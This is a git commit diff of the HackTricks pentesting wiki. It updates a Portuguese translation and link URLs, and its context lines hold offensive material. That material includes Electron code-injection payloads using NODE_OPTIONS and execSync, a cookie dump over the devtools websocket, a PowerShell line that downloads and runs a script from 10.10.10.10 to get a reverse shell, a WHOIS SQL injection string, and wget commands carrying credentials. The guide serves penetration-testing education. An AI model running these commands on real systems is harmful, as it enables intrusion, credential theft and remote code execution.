Translated ['src/macos-hardening/macos-security-and-privilege-escalation

This commit is contained in:
Translator 2025-01-11 18:52:06 +00:00
parent 1099b52af8
commit 16629997d1
37 changed files with 312 additions and 310 deletions

View File

@ -289,7 +289,7 @@
- [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md)
- [WinRM](windows-hardening/lateral-movement/winrm.md)
- [WmiExec](windows-hardening/lateral-movement/wmiexec.md)
- [Pivoting to the Cloud$$external:https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements$$]()
- [Pivoting to the Cloud$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/index.html$$]()
- [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md)
- [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md)
- [Mimikatz](windows-hardening/stealing-credentials/credentials-mimikatz.md)
@ -692,9 +692,9 @@
# ⛈️ Cloud Security
- [Pentesting Kubernetes$$external:https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security$$]()
- [Pentesting Cloud (AWS, GCP, Az...)$$external:https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology$$]()
- [Pentesting CI/CD (Github, Jenkins, Terraform...)$$external:https://cloud.hacktricks.xyz/pentesting-ci-cd/pentesting-ci-cd-methodology$$]()
- [Pentesting Kubernetes$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/index.html$$]()
- [Pentesting Cloud (AWS, GCP, Az...)$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/pentesting-cloud-methodology.html$$]()
- [Pentesting CI/CD (Github, Jenkins, Terraform...)$$external:https://cloud.hacktricks.wiki/en/pentesting-ci-cd/pentesting-ci-cd-methodology.html$$]()
# 😎 Hardware/Physical Access

View File

@ -1,20 +1,20 @@
# Injeção de Aplicações Electron no macOS
# macOS Electron Applications Injection
{{#include ../../../banners/hacktricks-training.md}}
## Informações Básicas
Se você não sabe o que é Electron, pode encontrar [**muitas informações aqui**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). Mas por enquanto, saiba apenas que o Electron executa **node**.\
E o node tem alguns **parâmetros** e **variáveis de ambiente** que podem ser usados para **executar outro código** além do arquivo indicado.
Se você não sabe o que é Electron, você pode encontrar [**muitas informações aqui**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/electron-desktop-apps/index.html#rce-xss--contextisolation). Mas por enquanto, saiba apenas que o Electron executa **node**.\
E o node tem alguns **parâmetros** e **variáveis de ambiente** que podem ser usados para **fazer com que ele execute outro código** além do arquivo indicado.
### Fuses do Electron
Essas técnicas serão discutidas a seguir, mas nos últimos tempos o Electron adicionou várias **flags de segurança para preveni-las**. Essas são as [**Fuses do Electron**](https://www.electronjs.org/docs/latest/tutorial/fuses) e estas são as usadas para **prevenir** que aplicativos Electron no macOS **carreguem código arbitrário**:
Essas técnicas serão discutidas a seguir, mas nos últimos tempos o Electron adicionou várias **flags de segurança para preveni-las**. Essas são as [**Fuses do Electron**](https://www.electronjs.org/docs/latest/tutorial/fuses) e são as usadas para **prevenir** que aplicativos Electron no macOS **carreguem código arbitrário**:
- **`RunAsNode`**: Se desativado, impede o uso da variável de ambiente **`ELECTRON_RUN_AS_NODE`** para injetar código.
- **`EnableNodeCliInspectArguments`**: Se desativado, parâmetros como `--inspect`, `--inspect-brk` não serão respeitados. Evitando assim a injeção de código.
- **`EnableEmbeddedAsarIntegrityValidation`**: Se ativado, o **`arquivo`** **`asar`** carregado será **validado** pelo macOS. **Prevenindo** assim a **injeção de código** ao modificar o conteúdo deste arquivo.
- **`OnlyLoadAppFromAsar`**: Se isso estiver ativado, em vez de procurar carregar na seguinte ordem: **`app.asar`**, **`app`** e finalmente **`default_app.asar`**. Ele apenas verificará e usará app.asar, garantindo assim que, quando **combinado** com a fuse **`embeddedAsarIntegrityValidation`**, é **impossível** **carregar código não validado**.
- **`OnlyLoadAppFromAsar`**: Se isso estiver ativado, em vez de procurar carregar na seguinte ordem: **`app.asar`**, **`app`** e finalmente **`default_app.asar`**. Ele apenas verificará e usará app.asar, garantindo assim que quando **combinado** com a fuse **`embeddedAsarIntegrityValidation`** é **impossível** **carregar código não validado**.
- **`LoadBrowserProcessSpecificV8Snapshot`**: Se ativado, o processo do navegador usa o arquivo chamado `browser_v8_context_snapshot.bin` para seu snapshot V8.
Outra fuse interessante que não estará prevenindo a injeção de código é:
@ -41,16 +41,16 @@ LoadBrowserProcessSpecificV8Snapshot is Disabled
Como os [**docs mencionam**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), a configuração dos **Fuses do Electron** é configurada dentro do **binário do Electron**, que contém em algum lugar a string **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**.
Em aplicativos macOS, isso está tipicamente em `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`
Em aplicações macOS, isso está tipicamente em `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`
```bash
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
```
Você pode carregar este arquivo em [https://hexed.it/](https://hexed.it/) e procurar pela string anterior. Após esta string, você pode ver em ASCII um número "0" ou "1" indicando se cada fusível está desativado ou ativado. Basta modificar o código hex (`0x30` é `0` e `0x31` é `1`) para **modificar os valores dos fusíveis**.
Você pode carregar este arquivo em [https://hexed.it/](https://hexed.it/) e procurar pela string anterior. Após essa string, você pode ver em ASCII um número "0" ou "1" indicando se cada fusível está desativado ou ativado. Basta modificar o código hex (`0x30` é `0` e `0x31` é `1`) para **modificar os valores dos fusíveis**.
<figure><img src="../../../images/image (34).png" alt=""><figcaption></figcaption></figure>
Note que se você tentar **sobrescrever** o **`Electron Framework` binary** dentro de um aplicativo com esses bytes modificados, o aplicativo não funcionará.
Note que se você tentar **sobrescrever** o **`Electron Framework`** binário dentro de um aplicativo com esses bytes modificados, o aplicativo não funcionará.
## RCE adicionando código a Aplicações Electron
@ -62,7 +62,7 @@ Pode haver **arquivos JS/HTML externos** que um App Electron está usando, entã
> - A permissão **`kTCCServiceSystemPolicyAppBundles`** é **necessária** para modificar um App, então por padrão isso não é mais possível.
> - O arquivo compilado **`asap`** geralmente tem os fusíveis **`embeddedAsarIntegrityValidation`** `e` **`onlyLoadAppFromAsar`** `ativados`
>
> Tornando este caminho de ataque mais complicado (ou impossível).
> Tornando esse caminho de ataque mais complicado (ou impossível).
Note que é possível contornar a exigência de **`kTCCServiceSystemPolicyAppBundles`** copiando o aplicativo para outro diretório (como **`/tmp`**), renomeando a pasta **`app.app/Contents`** para **`app.app/NotCon`**, **modificando** o arquivo **asar** com seu código **malicioso**, renomeando-o de volta para **`app.app/Contents`** e executando-o.
@ -123,7 +123,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
```
> [!CAUTION]
> Se o fusível **`EnableNodeOptionsEnvironmentVariable`** estiver **desativado**, o aplicativo **ignorar**á a variável de ambiente **NODE_OPTIONS** ao ser iniciado, a menos que a variável de ambiente **`ELECTRON_RUN_AS_NODE`** esteja definida, que também será **ignorada** se o fusível **`RunAsNode`** estiver desativado.
> Se o fuse **`EnableNodeOptionsEnvironmentVariable`** estiver **desativado**, o aplicativo **ignorar**á a variável de ambiente **NODE_OPTIONS** ao ser iniciado, a menos que a variável de ambiente **`ELECTRON_RUN_AS_NODE`** esteja definida, que também será **ignorada** se o fuse **`RunAsNode`** estiver desativado.
>
> Se você não definir **`ELECTRON_RUN_AS_NODE`**, você encontrará o **erro**: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
@ -169,11 +169,11 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()
```
Em [**este post do blog**](https://hackerone.com/reports/1274695), esse debugging é abusado para fazer um chrome headless **baixar arquivos arbitrários em locais arbitrários**.
Em [**este blogpost**](https://hackerone.com/reports/1274695), esse debugging é abusado para fazer um chrome headless **baixar arquivos arbitrários em locais arbitrários**.
### Injeção do Plist do App
Você poderia abusar dessa variável de ambiente em um plist para manter persistência adicionando essas chaves:
Você poderia abusar dessa variável de ambiente em um plist para manter a persistência adicionando essas chaves:
```xml
<dict>
<key>ProgramArguments</key>
@ -190,7 +190,7 @@ Você poderia abusar dessa variável de ambiente em um plist para manter persist
## Bypass TCC abusando de Versões Antigas
> [!TIP]
> O daemon TCC do macOS não verifica a versão executada do aplicativo. Portanto, se você **não conseguir injetar código em um aplicativo Electron** com qualquer uma das técnicas anteriores, você pode baixar uma versão anterior do APP e injetar código nela, pois ainda obterá as permissões do TCC (a menos que o Trust Cache impeça).
> O daemon TCC do macOS não verifica a versão executada do aplicativo. Portanto, se você **não conseguir injetar código em um aplicativo Electron** com nenhuma das técnicas anteriores, você pode baixar uma versão anterior do APP e injetar código nela, pois ainda obterá as permissões do TCC (a menos que o Trust Cache impeça).
## Executar Código não JS

View File

@ -4,7 +4,7 @@
## Informações Básicas
O **Protocolo Ident** é usado na **Internet** para associar uma **conexão TCP** a um usuário específico. Originalmente projetado para ajudar na **gestão de rede** e **segurança**, ele opera permitindo que um servidor consulte um cliente na porta 113 para solicitar informações sobre o usuário de uma determinada conexão TCP.
O **Protocolo Ident** é usado sobre a **Internet** para associar uma **conexão TCP** a um usuário específico. Originalmente projetado para ajudar na **gestão de rede** e **segurança**, ele opera permitindo que um servidor consulte um cliente na porta 113 para solicitar informações sobre o usuário de uma determinada conexão TCP.
No entanto, devido a preocupações modernas com a privacidade e o potencial de uso indevido, seu uso diminuiu, pois pode inadvertidamente revelar informações do usuário a partes não autorizadas. Medidas de segurança aprimoradas, como conexões criptografadas e controles de acesso rigorosos, são recomendadas para mitigar esses riscos.
@ -78,7 +78,7 @@ Description: Notes for Ident
Note: |
The Ident Protocol is used over the Internet to associate a TCP connection with a specific user. Originally designed to aid in network management and security, it operates by allowing a server to query a client on port 113 to request information about the user of a particular TCP connection.
https://book.hacktricks.xyz/pentesting/113-pentesting-ident
https://book.hacktricks.wiki/en/network-services-pentesting/113-pentesting-ident.html
Entry_2:
Name: Enum Users

View File

@ -27,7 +27,7 @@ sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
```
### Serviço de Distribuição de Datagramas
Datagramas NetBIOS permitem comunicação sem conexão via UDP, suportando mensagens diretas ou transmissão para todos os nomes da rede. Este serviço utiliza a porta **138/udp**.
Datagramas NetBIOS permitem comunicação sem conexão via UDP, suportando mensagens diretas ou transmissão para todos os nomes de rede. Este serviço utiliza a porta **138/udp**.
```bash
PORT STATE SERVICE VERSION
138/udp open|filtered netbios-dgm
@ -65,7 +65,7 @@ Session service for connection-oriented communication (port: 139/tcp).
For a device to participate in a NetBIOS network, it must have a unique name. This is achieved through a broadcast process where a "Name Query" packet is sent. If no objections are received, the name is considered available. Alternatively, a Name Service server can be queried directly to check for name availability or to resolve a name to an IP address.
https://book.hacktricks.xyz/pentesting/137-138-139-pentesting-netbios
https://book.hacktricks.wiki/en/network-services-pentesting/137-138-139-pentesting-netbios.html
Entry_2:
Name: Find Names

View File

@ -4,7 +4,7 @@
## Informações Básicas
O banco de dados Oracle (Oracle DB) é um sistema de gerenciamento de banco de dados relacional (RDBMS) da Oracle Corporation (a partir de [aqui](https://www.techopedia.com/definition/8711/oracle-database)).
O banco de dados Oracle (Oracle DB) é um sistema de gerenciamento de banco de dados relacional (RDBMS) da Oracle Corporation (de [aqui](https://www.techopedia.com/definition/8711/oracle-database)).
Ao enumerar o Oracle, o primeiro passo é se comunicar com o TNS-Listener que geralmente reside na porta padrão (1521/TCP, -você também pode encontrar listeners secundários em 15221529-).
```
@ -19,7 +19,7 @@ Ao enumerar o Oracle, o primeiro passo é se comunicar com o TNS-Listener que ge
4. **Bruteforce de Credenciais**: Tentar acessar o SID descoberto.
5. **Execução de Código**: Tentar executar código no sistema.
Para usar os módulos oracle do MSF, você precisa instalar algumas dependências: [**Instalação**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md)
Para usar os módulos do MSF oracle, você precisa instalar algumas dependências: [**Instalação**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md)
## Posts
@ -51,7 +51,7 @@ cd odat-libc2.12-x86_64/
for more details check https://github.com/quentinhardy/odat/wiki
https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener
https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
Entry_2:
Name: Nmap

View File

@ -4,7 +4,7 @@
## Informações Básicas
O banco de dados Oracle (Oracle DB) é um sistema de gerenciamento de banco de dados relacional (RDBMS) da Oracle Corporation (de [aqui](https://www.techopedia.com/definition/8711/oracle-database)).
O banco de dados Oracle (Oracle DB) é um sistema de gerenciamento de banco de dados relacional (RDBMS) da Oracle Corporation (a partir de [aqui](https://www.techopedia.com/definition/8711/oracle-database)).
Ao enumerar o Oracle, o primeiro passo é se comunicar com o TNS-Listener que geralmente reside na porta padrão (1521/TCP, -você também pode encontrar listeners secundários em 15221529-).
```
@ -51,7 +51,7 @@ cd odat-libc2.12-x86_64/
for more details check https://github.com/quentinhardy/odat/wiki
https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener
https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
Entry_2:
Name: Nmap

View File

@ -18,11 +18,11 @@ Obtenha todas as informações que um serviço whois possui sobre um domínio:
whois -h <HOST> -p <PORT> "domain.tld"
echo "domain.ltd" | nc -vn <HOST> <PORT>
```
Observe que às vezes, ao solicitar informações a um serviço WHOIS, o banco de dados utilizado aparece na resposta:
Note que às vezes, ao solicitar informações a um serviço WHOIS, o banco de dados utilizado aparece na resposta:
![](<../images/image (301).png>)
Além disso, o serviço WHOIS sempre precisa usar um **banco de dados** para armazenar e extrair as informações. Assim, uma possível **SQLInjection** pode estar presente ao **consultar** o banco de dados com algumas informações fornecidas pelo usuário. Por exemplo, ao fazer: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` você poderia **extrair todas** as **informações** salvas no banco de dados.
Além disso, o serviço WHOIS sempre precisa usar um **banco de dados** para armazenar e extrair as informações. Portanto, uma possível **SQLInjection** pode estar presente ao **consultar** o banco de dados com algumas informações fornecidas pelo usuário. Por exemplo, ao fazer: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` você poderia **extrair todas** as **informações** salvas no banco de dados.
## Shodan
@ -41,7 +41,7 @@ Note: |
The WHOIS protocol serves as a standard method for inquiring about the registrants or holders of various Internet resources through specific databases. These resources encompass domain names, blocks of IP addresses, and autonomous systems, among others. Beyond these, the protocol finds application in accessing a broader spectrum of information.
https://book.hacktricks.xyz/pentesting/pentesting-smtp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
Entry_2:
Name: Banner Grab

View File

@ -9,7 +9,7 @@ Esta porta é usada pelo **Redshift** para funcionar. É basicamente uma variaç
Para mais informações, consulte:
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum
https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.html
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -6,7 +6,7 @@
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) é destacado como um **protocolo da Microsoft** que permite a **gerência remota de sistemas Windows** através de HTTP(S), aproveitando o SOAP no processo. É fundamentalmente alimentado pelo WMI, apresentando-se como uma interface baseada em HTTP para operações WMI.
A presença do WinRM em uma máquina permite uma administração remota simples via PowerShell, semelhante ao funcionamento do SSH em outros sistemas operacionais. Para determinar se o WinRM está operacional, é recomendável verificar a abertura de portas específicas:
A presença do WinRM em uma máquina permite uma administração remota simples via PowerShell, semelhante ao funcionamento do SSH para outros sistemas operacionais. Para determinar se o WinRM está operacional, é recomendável verificar a abertura de portas específicas:
- **5985/tcp (HTTP)**
- **5986/tcp (HTTPS)**
@ -56,17 +56,17 @@ Você também pode **executar um comando do seu console PS atual via** _**Invoke
```powershell
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
### Executar um Script
### Execute um Script
```powershell
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
```
### Obter reverse-shell
### Obter shell reverso
```powershell
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
```
### Obter uma sessão PS
Para obter um shell PowerShell interativo, use `Enter-PSSession`:
Para obter um shell interativo do PowerShell, use `Enter-PSSession`:
```powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
@ -115,7 +115,7 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
Se você encontrar o seguinte erro:
`enter-pssession : Conectando ao servidor remoto 10.10.10.175 falhou com a seguinte mensagem de erro : O cliente WinRM não pode processar a solicitação. Se o esquema de autenticação for diferente de Kerberos, ou se o computador cliente não estiver associado a um domínio, então o transporte HTTPS deve ser usado ou a máquina de destino deve ser adicionada à configuração TrustedHosts. Use winrm.cmd para configurar TrustedHosts. Observe que os computadores na lista TrustedHosts podem não estar autenticados. Você pode obter mais informações sobre isso executando o seguinte comando: winrm help config. Para mais informações, consulte o tópico de ajuda about_Remote_Troubleshooting.`
`enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.`
A tentativa no cliente (informações de [aqui](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
```ruby
@ -142,7 +142,7 @@ crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionT
```ruby
gem install evil-winrm
```
Leia a **documentação** em seu github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
Leia **documentação** em seu github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
```
@ -160,7 +160,7 @@ docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
```
### Usando um script em ruby
### Usando um script Ruby
**Código extraído daqui:** [**https://alamot.github.io/winrm_shell/**](https://alamot.github.io/winrm_shell/)
```ruby
@ -254,7 +254,7 @@ s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
https://book.hacktricks.xyz/pentesting/pentesting-winrm
https://book.hacktricks.wiki/en/network-services-pentesting/5985-5986-pentesting-winrm.html
Entry_2:
Name: Hydra Brute Force

View File

@ -8,7 +8,7 @@
Um aspecto notável deste protocolo é a sua falta de **mecanismos de autenticação** ou **autorização** integrados. Em vez disso, a autorização depende das **informações do sistema de arquivos**, com o servidor encarregado de traduzir com precisão as **informações do usuário fornecidas pelo cliente** no formato de **autorização** exigido pelo sistema de arquivos, seguindo principalmente a **sintaxe UNIX**.
A autenticação geralmente depende de **identificadores `UID`/`GID` do UNIX e associações a grupos**. No entanto, um desafio surge devido ao potencial descompasso nas **mapeações `UID`/`GID`** entre clientes e servidores, não deixando espaço para verificação adicional pelo servidor. Consequentemente, o protocolo é mais adequado para uso em **redes confiáveis**, dado sua dependência desse método de autenticação.
A autenticação geralmente depende de **identificadores `UID`/`GID` do UNIX e associações de grupos**. No entanto, um desafio surge devido ao potencial descompasso nas **mapeações `UID`/`GID`** entre clientes e servidores, não deixando espaço para verificação adicional pelo servidor. Consequentemente, o protocolo é mais adequado para uso em **redes confiáveis**, dado sua dependência desse método de autenticação.
**Porta padrão**: 2049/TCP/UDP (exceto a versão 4, que precisa apenas de TCP ou UDP).
```
@ -16,7 +16,7 @@ A autenticação geralmente depende de **identificadores `UID`/`GID` do UNIX e a
```
### Versões
- **NFSv2**: Esta versão é reconhecida por sua ampla compatibilidade com vários sistemas, marcando sua importância com operações iniciais predominantemente sobre UDP. Sendo a **mais antiga** da série, estabeleceu as bases para desenvolvimentos futuros.
- **NFSv2**: Esta versão é reconhecida por sua ampla compatibilidade com vários sistemas, marcando sua importância com operações iniciais predominantemente sobre UDP. Sendo a **mais antiga** da série, ela lançou as bases para desenvolvimentos futuros.
- **NFSv3**: Introduzido com uma série de melhorias, o NFSv3 expandiu seu predecessor ao suportar tamanhos de arquivos variáveis e oferecer mecanismos de relatórios de erros aprimorados. Apesar de seus avanços, enfrentou limitações em plena compatibilidade retroativa com clientes NFSv2.
@ -46,7 +46,7 @@ Então monte-o usando:
```bash
mount -t nfs [-o vers=2] <ip>:<remote_folder> <local_folder> -o nolock
```
Você deve especificar para **usar a versão 2** porque ela não tem **nenhuma** **autenticação** ou **autorização**.
Você deve especificar para **usar a versão 2** porque ela não possui **nenhuma** **autenticação** ou **autorização**.
**Exemplo:**
```bash
@ -59,7 +59,7 @@ Se você montar uma pasta que contém **arquivos ou pastas acessíveis apenas po
## NSFShell
Para listar, montar e mudar UID e GID facilmente para ter acesso a arquivos, você pode usar [nfsshell](https://github.com/NetDirect/nfsshell).
Para listar, montar e mudar facilmente o UID e GID para ter acesso a arquivos, você pode usar [nfsshell](https://github.com/NetDirect/nfsshell).
[Nice NFSShell tutorial.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
@ -72,7 +72,7 @@ Para listar, montar e mudar UID e GID facilmente para ter acesso a arquivos, voc
- **Permissões de Leitura e Escrita (`rw`):** Esta configuração permite tanto a leitura quanto a escrita no sistema de arquivos. É essencial considerar as implicações de conceder acesso tão amplo.
- **Uso de Portas Inseguras (`insecure`):** Quando ativado, isso permite que o sistema utilize portas acima de 1024. A segurança das portas acima desse intervalo pode ser menos rigorosa, aumentando o risco.
- **Uso de Portas Inseguras (`insecure`):** Quando habilitado, isso permite que o sistema utilize portas acima de 1024. A segurança das portas acima desse intervalo pode ser menos rigorosa, aumentando o risco.
- **Visibilidade de Sistemas de Arquivos Aninhados (`nohide`):** Esta configuração torna diretórios visíveis mesmo que outro sistema de arquivos esteja montado abaixo de um diretório exportado. Cada diretório requer sua própria entrada de exportação para gerenciamento adequado.
@ -80,7 +80,7 @@ Para listar, montar e mudar UID e GID facilmente para ter acesso a arquivos, voc
- **Não Squashing de Todos os Usuários (`no_all_squash`):** Esta opção garante que as identidades dos usuários sejam preservadas em todo o sistema, o que pode levar a problemas de permissão e controle de acesso se não for tratado corretamente.
## Escalada de Privilégios usando configurações incorretas do NFS
## Escalada de Privilégios usando Configurações Incorretas do NFS
[NFS no_root_squash e no_all_squash escalada de privilégios](../linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md)
@ -104,7 +104,7 @@ mount -t nfs -o ver=2 10.10.10.180:/home /mnt/
cd /mnt
nano into /etc/passwd and change the uid (probably 1000 or 1001) to match the owner of the files if you are not able to get in
https://book.hacktricks.xyz/pentesting/nfs-service-pentesting
https://book.hacktricks.wiki/en/network-services-pentesting/nfs-service-pentesting.html
Entry_2:
Name: Nmap

View File

@ -40,7 +40,7 @@ Também é possível capturar o banner com um script **nmap**:
```
### **Qualquer registro**
O registro **ANY** pedirá ao servidor DNS para **retornar** todas as **entradas** disponíveis que **está disposto a divulgar**.
O registro **ANY** solicitará ao servidor DNS que **retorne** todas as **entradas** disponíveis que **está disposto a divulgar**.
```bash
dig any victim.com @<DNS_IP>
```
@ -95,7 +95,7 @@ dnsrecon -r <IP_DNS>/24 -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer
```
> [!NOTE]
> Se você conseguir encontrar subdomínios resolvendo para endereços IP internos, deve tentar realizar um ataque de força bruta reverso de DNS nos NSs do domínio solicitando aquele intervalo de IP.
> Se você conseguir encontrar subdomínios resolvendo para endereços IP internos, deve tentar realizar um ataque de força bruta reverso de DNS para os NSs do domínio solicitando aquele intervalo de IP.
Outra ferramenta para isso: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
@ -130,7 +130,7 @@ Força bruta usando requisições "AAAA" para coletar IPv6 dos subdomínios.
```bash
dnsdict6 -s -t <domain>
```
Força bruta de DNS reverso usando endereços IPv6
Forçar reverso DNS usando endereços IPv6
```bash
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
```
@ -196,7 +196,7 @@ SERVER {IP}
Domain_Name
exit
https://book.hacktricks.xyz/pentesting/pentesting-dns
https://book.hacktricks.wiki/en/todo/pentesting-dns.html
Entry_2:
Name: Banner Grab

View File

@ -5,7 +5,7 @@
## Informações Básicas
O **File Transfer Protocol (FTP)** serve como um protocolo padrão para transferência de arquivos em uma rede de computadores entre um servidor e um cliente.\
É um protocolo **em texto simples** que usa como **caractere de nova linha `0x0d 0x0a`**, então às vezes você precisa **conectar usando `telnet`** ou **`nc -C`**.
É um protocolo **em texto simples** que usa como **caractere de nova linha `0x0d 0x0a`** então às vezes você precisa **conectar usando `telnet`** ou **`nc -C`**.
**Porta Padrão:** 21
```
@ -101,11 +101,11 @@ ftp <IP>
```
### [Força bruta](../../generic-hacking/brute-force.md#ftp)
Aqui você pode encontrar uma boa lista com credenciais FTP padrão: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
Aqui você pode encontrar uma boa lista com credenciais padrão de ftp: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
### Automatizado
Login anônimo e verificações de bounce FTP são realizadas por padrão pelo nmap com a opção **-sC** ou:
Verificações de login anônimo e de bounce FTP são realizadas por padrão pelo nmap com a opção **-sC** ou:
```bash
nmap --script ftp-* -p 21 <ip>
```
@ -122,7 +122,7 @@ Observe que se uma **aplicação web** estiver enviando dados controlados por um
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
```
Se seu usuário/senha tiver caracteres especiais, o [seguinte comando](https://stackoverflow.com/a/113900/13647948) pode ser usado:
Se seu usuário/senha tiver caracteres especiais, o [following command](https://stackoverflow.com/a/113900/13647948) pode ser usado:
```bash
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
```
@ -222,7 +222,7 @@ wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
if PASV transfer is disabled
https://book.hacktricks.xyz/pentesting/pentesting-ftp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html
Entry_2:
Name: Banner Grab

View File

@ -32,7 +32,7 @@ root@kali: telnet example.com 143
```
Ou **automatize** isso com o plugin **nmap** `imap-ntlm-info.nse`
### [Força Bruta IMAP](../generic-hacking/brute-force.md#imap)
### [Bruteforce IMAP](../generic-hacking/brute-force.md#imap)
## Sintaxe
@ -115,7 +115,7 @@ curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
```
O índice de e-mail será o mesmo índice retornado da operação de busca.
Também é possível usar `UID` (id único) para acessar mensagens, no entanto, é menos conveniente, pois o comando de busca precisa ser formatado manualmente. Exemplo:
Também é possível usar `UID` (id único) para acessar mensagens, no entanto, é menos conveniente, pois o comando de busca precisa ser formatado manualmente. Por exemplo,
```bash
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
@ -148,7 +148,7 @@ Description: Notes for WHOIS
Note: |
The Internet Message Access Protocol (IMAP) is designed for the purpose of enabling users to access their email messages from any location, primarily through an Internet connection. In essence, emails are retained on a server rather than being downloaded and stored on an individual's personal device. This means that when an email is accessed or read, it is done directly from the server. This capability allows for the convenience of checking emails from multiple devices, ensuring that no messages are missed regardless of the device used.
https://book.hacktricks.xyz/pentesting/pentesting-imap
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-imap.html
Entry_2:
Name: Banner Grab

View File

@ -4,9 +4,9 @@
## Informações Básicas
**Kerberos** opera com um princípio onde autentica usuários sem gerenciar diretamente seu acesso a recursos. Esta é uma distinção importante porque sublinha o papel do protocolo em estruturas de segurança.
**Kerberos** opera com o princípio de autenticar usuários sem gerenciar diretamente seu acesso a recursos. Esta é uma distinção importante porque sublinha o papel do protocolo em estruturas de segurança.
